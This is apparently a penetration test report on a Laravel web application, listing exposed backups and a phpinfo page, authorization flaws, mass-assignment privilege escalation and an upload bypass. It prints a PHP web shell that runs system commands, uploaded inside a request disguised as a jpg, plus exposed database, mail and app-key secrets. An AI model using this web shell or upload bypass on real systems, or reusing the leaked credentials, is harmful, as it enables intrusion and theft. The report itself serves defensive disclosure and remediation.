WEB APPLICATION PENETRATION TEST REPORT FOR SOCRAI

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I. Executive summary

This report is official presentation by White Hat IT Security of the IT security analysis of the web application dev.socrai.com of SOCRAI, the steps of the examination, the vulnerabilities and flaws uncovered, the overall results and our recommendations for the corrections and remediations of certain software components.

The analysis has been conducted on test environment, public available on the following URL:

https://dev.socrai.com/

Throughout this process we have uncovered several flaws that may act as pivot points during a potential attack.

We **strongly** recommend – following the implementation of the recommendations stated in this report – the inspection of the corrective actions.

This list below contains all the relevant findings.

- 1. The webserver document root contains a database dump, an archive most likely containing the full source code and a phpinfo page including sensitive information such as the database root password or credentials to smtp.
- 2. Due to the lack of server-side validation, it is possible to upload malicious files that can be used to run system command on the server.
- 3. The application connects to the database with root user, hence in case of any misconfiguration, it can lead to lateral movement to another host or privilege escalation from www-data.
- 4. Due to the lack of proper handling the posted data on the backend side, it is possible to register a new user account with administrator role.
- 5. Due to the lack of proper authorization, it is possible to access API routes and functions without the proper role or user.
- 6. The website's source contains a lot of unnecessary files and functions from several fields that are not related to the project.



II. Introduction

SOCRAI has commissioned White Hat IT Security to the security analysis and assessment of the web application under dev.socrai.com. The objective of the analysis was to uncover any and all flaws and vulnerabilities of the application or its components; the correction of which would significantly increase the level of security of the software. Therefore, based on the results and our findings we have included our recommendations to the correction of these flaws and vulnerabilities.

The analysis has been conducted on test environment, public available on the following URL:

https://dev.socrai.com/

For the test, we got user accounts for the following roles:

- Administrator
- Tribe leader
- User

We **strongly** recommend – following the implementation of the recommendations stated in this report – the inspection of the corrective actions.

The categorizing of the analysis results is according to the OWASP Web Security Testing Guide version 4.2

(https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf).



III. Detailed analysis

1. List of vulnerabilities uncovered

#	Category	Subcategory	Reference ID	Risk level
1		Fingerprint Web Server	WSTG-INFO-02	Medium
2	Information Gathering	Review Webserver Metafiles for Information Leakage	WSTG-INFO-03	Informational
3		Application Platform Configuration	WSTG-CONF-02	High
4	Configuration and Deployment Management	Review Old Backup and Unreferenced Files for Sensitive Information - 1	WSTG-CONF-04	Critical
5		Review Old Backup and Unreferenced Files for Sensitive Information - 2	WSTG-CONF-04	Informational
6		Bypassing Authorization Schema	WSTG-ATHZ-02	High
7	Authorization	Privilege Escalation	WSTG-ATHZ-03	Critical
8		Insecure Direct Object References WSTG-ATHZ-04		High
9	Circumvention of Work Flows - 1		WSTG-BUSL-06	Low
10	Business Logic	Circumvention of Work Flows - 2	WSTG-BUSL-06	Low
11		Upload of Malicious Files	WSTG-BUSL-09	Critical



2. Details of the analysis and the uncovered vulnerabilities

2.1. Information Gathering

a) Fingerprint Web Server

Medium

The server's response contains the exact versions of the running webserver (nginx/1.18.0 and Apache/2.4.56) and the PHP (PHP/8.1.19). This information may allow to find vulnerabilities.



nginx/1.18.0 and PHP/8.1.19 in the response



Apache/2.4.56 and PHP/8.1.19 in response

We recommend to disable all server signatures.



b) Review Webserver Metafiles for Information Leakage

Informational

The robots.txt file contains interesting information as you can see on the picture below.



Content of the robots.txt file

We recommend to remove unnecessary contents.


2.2. Configuration and Deployment Management

a) Application Platform Configuration

High

In the webserver configuration, the document root is not set correctly therefore the whole codebase and files outside the application's public folder are available for anyone to view or download.

Folders such as the application's root, vendor or resources contain sensitive files, information that a potential attacker may use.



Found folders with a common wordlist



			1111					
11077:	C=302	11	L	22	W	358	Ch	"logout"
11054:	C=200	100	L	274	W	4497	Ch	"login"
13386:	C=302	11	L	22	W	358	Ch	"pages"
14704:	C=301	9	L	28	W	317	Ch	"public"
15172:	C=200	67	L	168	W	2439	Ch	"register"
15383:	C=301	9	L	28	W	320	Ch	"resources"
15617:	C=301	9	L	28	W	317	Ch	"routes"
16215:	C=403	9	L	28	W	279	Ch	"server-status"
16586:	C=302	11	L	22	W	358	Ch	"site_admin"
17264:	C=301	9	L	28	W	318	Ch	"storage"
17950:	C=200	0	L	0	W	0	Ch	"tests"
18243:	C=302	11	L	22	W	358	Ch	"topics"
18906:	C=302	11	L	22	W	358	Ch	"users"
19078:	C=301	9	L	28	W	317	Ch	"vendor"

Found folders with a common wordlist


We recommend to follow the instructions about the process of deployment on the Laravel Framework's website.

b) Review Old Backup and Unreferenced Files for Sensitive Information - 1

Critical

It is possible to find interesting directories and files just by brute force the web application routes. The folder structure and the files contain detailed information about the environment and the used Larayel Framework.

Using this information a potential attacker can find and steal the most likely full codebase (socrai.zip), a database dump, may access the log files and information about the environment (PHP version, settings, credentials).




Public available phpinfo page with sensitive environment information



Variable	Value			
MAIL_PASSWORD	Str0ngFunguz0!			
APACHE_LOCK_DIR	/var/lock/apache2			
LANG	С			
MAIL_HOST	smtp.office365.com			
SESSION_LIFETIME	120			
APACHE_RUN_USER	www-data			
APACHE_RUN_GROUP	www-data			
APP_LOG_LEVEL	debug			
APACHE_LOG_DIR	/var/log/apache2			
MAIL_PORT	587			
DB_PASSWORD	g%&2Gbnkl5vf			
APP_KEY	base64:YT4u9bIOUwDrcuSXt3Zer4WdsWTICO8R8JtNSTh5HBQ=			
REDIS_HOST	localhost			
APP_ENV	staging			
PHPIZE_DEPS	autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c			
PWD	/var/www/html			
PHP_SHA256	f42f0e93467415b2d30aa5b7ac825f0079a74207e0033010383cdc1e13657379			
APACHE_ENVVARS	/etc/apache2/envvars			
DB_HOST	mysql			


Sensitive information, credentials in public available phpinfo page



List of sensitive files in the web server's document root folder




Small part of the socrai-dump.sql file



composer.json contains required packages with the exact versions





oauth-private.key

We recommend to not store database dump, archive with source code and any other files with sensitive content in public accessible folders.



c) Review Old Backup and Unreferenced Files for Sensitive Information – 2

Informational

The website's source contains a lot of unnecessary files and functions from several fields that are not related to the project, such as BlogController.php, Cart.php, Coupon.php, CompetitionEmailSchedule.php, Related_product.php, cart and paytriot payment functions in custom.php, etc. It makes it difficult to overview the code.



Unnecessary models and files

```
☐ P main ▼ socrai / app / Http / Controllers / frontend / PropertiesController.php
Code Blame 90 lines (74 loc) - 5.79 KB Code 55% faster with GitHub Copilot
                        Sappartment= D8::table('properties')->where('property_type', 'appartment')->where('property_for', 'sales')->where('feature_flag', '=', '0')->join('property_address', 'properties.'
Srandom_feature_right = D8::table('properties')->where('feature_flag', '=', '1')->inRandomOrder()->orderBy('title', 'asc')->limit(3)->join('property_address', 'properties.id', '=',
Srandom_feature_left = D8::table('properties')->join('property_address', 'properties.id', '=', 'property_address.property_id')->where('feature_flag', '=', '1')->limit(2)->get();
                        SlatestTopBlog = DB::table('blog')->where('type' , 'sales')->where('feature_flag','0')->orderBy('date_created' , 'desc')->limit(1)->first(); dd(SlatestTopBlog);
                        $rt = $latestTopBlog->id:
                         SlatestBlog = DB::table('blog')->where('type' , 'sales')->where('id' ,'!=' , $rt)->where('feature_flag' , '0')->orderBy('date_created' , 'desc')->limit(3)->get();
                         $TopmostPopular = D8::table('blog')->where('type' , 'sales')->where('feature_flag' , '=' ,'0')->order8y('view_count' , 'desc')->limit(1)->first(); dd($TopmostPopular);
                            dd($TopmostPopular)
                        SmostPopular = DB::table('blog')->where('type' , 'sales')->where('id', '!=' ,$TopmostPopular->id )->where('feature_flag' , '=' ,*0')->orderBy('view_count' , 'desc')->limit(3)->get();
                         $trendsData_id = D8::table('blog_categories')->where('title' , 'TRENDS AND DATA')->pluck('id')->first():
                        StopTrnd = D8::table('blog')->where('type', 'sales')->where('feature_flag', '=','0')->where('blog_category_id', StrendsData_id)->orderBy('view_count', 'desc')->limit(1)->first()
              11
                         $trnd = DB::table('blog')->where('type', 'sales')->where('feature_flag', '=','0')->where('blog_category_id', $trendsData_id)->where('id', '!=',$topTrnd->id)->orderBy('view_cou
     42
                         return view('frontend.home' , compact('random_feature_right','random_feature_left' ,'appartment','latestTopBlog','latestBlog' , 'TopmostPopular' ,'mostPopular' , 'topTrnd' , 'trnd')]
     44 V
                   public function rentalsIndex(){
                          Sappartment= DB::table('properties')->where('property_type' , 'appartment')->where('property_for' , 'rentals')->where('feature_flag', '=' , '0')->join('property_address', 'properties')
                         Srandom_feature_right = D8::table('properties')->where('feature_flag', '=', '1')->inRandomOrder()->orderBy('title', 'asc')->limit(3)->join('property_address', 'properties.id', '=', 'froperty_address.property_id')->where('feature_flag', '=', 'property_address.property_id')->where('feature_flag', '=', '1')->limit(2)->get();
SlatestTopBlog = D8::table('blog')->where('type', 'rentals')->where('feature_flag','0')->orderBy('date_created', 'desc')->limit(1)->first();
```

Unnecessary components (PropertiesController, appartment)



```
§ main → socrai / app / Helpers / custom.php
Code Blame 255 lines (226 loc) · 8.91 KB 🖰 Code 55% faster with GitHub Copilot
   27
              $discount_percentage = array();
                 $responce = DB::select("SELECT package_id, count(*) as total FROM cart WHERE user_id = ".$cart->user_id." GROUP BY package_id");
   28
   29
                 foreach($responce as $one){
                     $discount_offers = Discounts::where('c_id', $one->package_id)->orderBy('no_of_tickets', 'DESC')->get();
   32
                         if($one->total >= $offer->no_of_tickets){
   33
                            $discount_percentage[$one->package_id] = $offer->discount_percentage;
   34
                            break:
   35
                    }
   38
                 if(isset($discount_percentage[$cart->package_id])){
   39
                         $price_dicount = ( $cart->package->mc->price / 100 ) * $discount_percentage[$cart->package_id];
                         $price = $cart->package->mc->price - $price_dicount;
   40
   41
                     }else{
                        $price = $cart->package->mc->price;
   43
   44
                     $curr=Config::get("constants.currency");
   45
   46
                     $html=''.$cart->ticket->code.'';
                     if(isset($cart->package->main_img[0]))
                         Shtml.='<img width="100" src="'.url('products/'.$cart->package->image[0]->package_id.'/'.$cart->package->main_img[0]->name).'"
   49
                         $html.='';
```

Unnecessary function (cart_html)

```
F
      ្រំ main 🕶
                     socrai / app / Helpers / custom.php
         Blame 255 lines (226 loc) - 8.91 KB
                                                   Code 55% faster with GitHub Copilot
Code
   197
           function getDemoPaytriotReqParams ($price = 101)
   217
   218
   219 V function getPaytriotReqParams ($price = 101)
   220
   221
               $params = array(
                           'merchantID' => '119096',
   222
                           'action' => 'SALE',
  223
                            'type' => 1,
                   'statementNarrative1' => "PTR*prizemaker.com",
   225
  226
                   'subMerchantID' => 1000256,
  227
                   'countryCode' => 826,
                   'currencyCode' => 826,
   228
   229
                   'merchantAddress' => "23 Chantry Lane",
                   'merchantTown' => "Grimsby",
  230
                   'merchantPostcode' => "DN31 2LP",
                   'facilitatorID' => 238750.
  232
                           'amount' => $price,
   233
                           'orderRef' => 'Test purchase',
   234
   235
                           'transactionUnique' => uniqid(),
                           'redirectURL' => URL::to('user/handle_paytriot_payment')
   236
   237
                   );
```

Unnecessary function (custom.php)

We recommend to remove unnecessary components.



2.3. Authorization


a) Bypassing Authorization Schema

High

There are routes and functions in the application that are not properly authorize the user. Therefore, it is possible to remove other users' profile picture, grant tribe join requests without the required role, create article in any tribe, etc.




Remove other user's profile picture with full user object



Create new article without the form fields throwing an error





Create new article in any tribe

We recommend to implement proper authorization on the backend.



b) Privilege Escalation

Critical

Some posted form are not properly handled on the backend, therefore it is possible to register a new user account as an administrator.

Instead of using the successfully validated data, the original data is set in a new variable (\$input, UserController.php, line 206, 250) that is used in the further process (UserController.php, line 252). This means you can add more parameters into the request.

```
socrai / app / Http / Controllers / API / UserController.php
         Blame 1081 lines (843 loc) - 37.7 KB
                                                      Code 55% faster with GitHub Copilot
Code
  185
                public function register(Request $request)
               1
  187
  188
                   $validator = Validator::make($request->all(), [
  189
                       'name' => 'required',
  191
                        'email' => 'required|unique:users,email',
                       'password' => 'required',
  192
                       'c_password' => 'required|same:password',
  193
  194
                   ]);
                   if ($validator->fails()) {
  196
                       return response()->json(
  197
                                'code' => '400',
  198
                                'error_description' => $validator->errors(),
                                'message' => '',
  200
  201
                           1,
  202
                            483
  203
                       );
  205
           $input=$request->all();
  206
   207
```

\$input variable contains all posted data - UserController::register()

```
socrai / app / Http / Controllers / API / UserController.php
Code
          Blame
                1081 lines (843 loc) - 37.7 KB
                                                      Code 55% faster with GitHub Copilot
    17
           class UserController extends Controller
   186
                 public function register(Request $request)
   249
                   $input = $request->all();
   250
   251
                    $input['password'] = bcrypt($input['password']);
   252
                   $new_user = User::create($input);
                    $token=$new_user->createToken('MyApp')->accessToken;
   253
   254
```

\$input variable contains all posted data again - UserController::register()




Adding "user_role":1 JSON parameter to the request it is possible to register a new user as administrator.

Register a new user and add user role parameter to the request



Try one more time because of the previous error



Login with our recently registered user as an admin


We recommend to use only the validated data.




c) Insecure Direct Object References

Hiah

There are lot of routes and functions within the user who sent the request not properly authorized, therefore it is possible, for example, to get information about tribes that the user not belongs to, such as articles, comments, joined tribe users, etc.



Get comments for article with id 31 (user not in tribe)



Get tribe users (user not in tribe)





Get articles for tribe 50 (user not in tribe)

We recommend to implement proper authorization on the backend.



2.4. Business Logic

a) Circumvention of Work Flows - 1

Low

The newly created articles don't get proper id, each of them has 0 as id, even if these are created in the intended way.

```
"id":0,
  "tribe_id":52,
  "article_title":"Test",
  "leader_id":417,
  "description":"Test <?php echo \"x\"; ?> {{7*7}}",
  "image":"https:\/\/dev.socrai.com\/public\/images\/sucrai\/test-image-logo.png",
  "created_at": "2023-08-16 08:17:40",
  "updated at": "2023-08-16 08:17:40",
  "tribe_name": "Check DATA tRIBE",
  "is_joined":"yes"
},
 "id":0,
  "tribe id":52,
  "article title":"Test",
  "leader id":417,
  "description":"Test <?php echo \"x\"; ?> {{7*7}}",
  "image":"https:\/\/dev.socrai.com\/public\/images\/sucrai\/test-image-logo.php",
  "created_at":"2023-08-16 08:20:24",
  "updated_at": "2023-08-16 08:20:24",
  "tribe_name": "Check DATA tRIBE",
  "is_joined":"yes"
},
 "id":0,
  "tribe id":50,
  "article title": "Test",
  "leader_id":416,
  "description":"Test",
  "image": "https:\/\/dev.socrai.com\/public\/images\/sucrai\/test.png",
  "created_at":"2023-08-25 14:11:20",
  "updated_at": "2023-08-25 14:11:20",
  "tribe_name": "How do I use SOCRAI?",
  "is_joined":"no"
},
  "id":0,
  "tribe_id":52,
  "article title":"XSS TEST",
```

0 as article ids

We recommend to properly set the primary key definitions in the database structure.



b) Circumvention of Work Flows – 2

Low

As we mentioned before, it is possible to find folders, files and especially routes that can be used for malicious activity. The /clear route clears the full cache. Calling this endpoint frequently, the website may slow down as it has to regenerate and compile cache files.

```
socrai / routes / web.php
          Blame
                288 lines (197 loc) · 14.5 KB
Code
                                                     Code 55% faster with GitHub Copilot
   89
           Auth::routes();
           Route::get('clear', function(){
               Artisan::call('cache:clear');
    91
               Artisan::call('route:clear');
   92
               Artisan::call('config:cache');
   93
               Artisan::call('config:clear');
   94
    95
            return 'cleared';
    96
    97
           });
    98
```

/clear route

We recommend to remove unnecessary functions.



c) Upload of Malicious Files

Critical

The upload forms only allow to select image files. Modifying the request and thanks to the lack of server side validation a malicious file could be uploaded.

```
33 -----WebKitFormBoundaryRyeAS2JjWaFsZBbg
34 Content-Disposition: form-data; name="con password"
35
36 undefined
37 -----WebKitFormBoundaryRyeAS2JjWaFsZBbg
38<u>|Content-Disposition: form</u>-data; name="image"; filename="wh-58Df3243gbvs-shell<mark>.jpg</mark>"
39 Content-Type: image/jpeg
40
41 <?php
'pF5NSV-taT1NWxzVdrVmt.VMUpYVWxoV.mExcFBVMVUxU-lZaWW5hbFV') {
      echo '';
      system($_GET['cmd']);
44
45
46
47 -----WebKitFormBoundaryRyeAS2JjWaFsZBbg--
```

Select a file with jpg extension and start to upload it

```
33 -----WebKitFormBoundaryRyeAS2JjWaFsZBbq
34 Content-Disposition: form-data; name="con password"
35
36 undefined
37 -----WebKitFormBoundaryRyeAS2JjWaFsZBbg
38 Content-Disposition: form-data; name="image"; filename="wh-58Df3243gbvs-shell.php"
39 Content-Type: image/jpeg
40
41 <?php
42 if (isset($ GET['token']) && $ GET['token'] ===
   'pF5NSV-taT1NWxzVdrVmt.VMUpYVWxoV.mExcFBVMVUxU-lZaWW5hbFV') {
43
      echo '';
44
      system($_GET['cmd']);
45 }
46
47 -----WebKitFormBoundaryRyeAS2JjWaFsZBbg--
```

Modify the request and change the jpg with php



Execute shell commands with the uploaded "profile picture"

We recommend to validate the uploaded files' extension, name (against directory traversal attacks), mime headers and the content on the server side.

We recommend to disable unnecessary PHP functions that allow an attacker to run system commands. https://www.php.net/manual/en/ref.exec.php



IV. Recommendations

Please find our recommendations for the remediation or correction of the flaws and vulnerabilities uncovered during the IT security analysis of the web application below.

We **strongly** recommend – following the implementation of the recommendations stated in this report – the inspection of the corrective actions.

Recommendations for improvement:

To summarize the most important recommendations in short, we have indicated the severity of the flaws (according to our evaluation) with the colour codes (red representing the most severe / critical flaws, orange the medium and yellow the low severity ones) in the following table. Blue background colour means an informational statement without security impact. Findings highlighted with **bold** have effect on multiple issues.

- We recommend to not store database dump, archive with source code and any other file vith sensitive content in public accessible folders.
- We recommend to use only the validated data.
- We recommend to validate the uploaded files' extension, name (against directory traversal attacks), mime headers and the content on the server side.
- We recommend to disable unnecessary PHP functions that allow an attacker to run system comma
- We recommend to follow the instructions about the process of deployment on the Laravel Framework's website.
- We recommend to implement proper authorization on the backend.
- We recommend to disable all server signatures.
- We recommend to properly set the primary key definitions in the database structure.
- We recommend to remove unnecessary functions.
- We recommend to remove unnecessary = ents.
- We recommend to remove unnecessary components.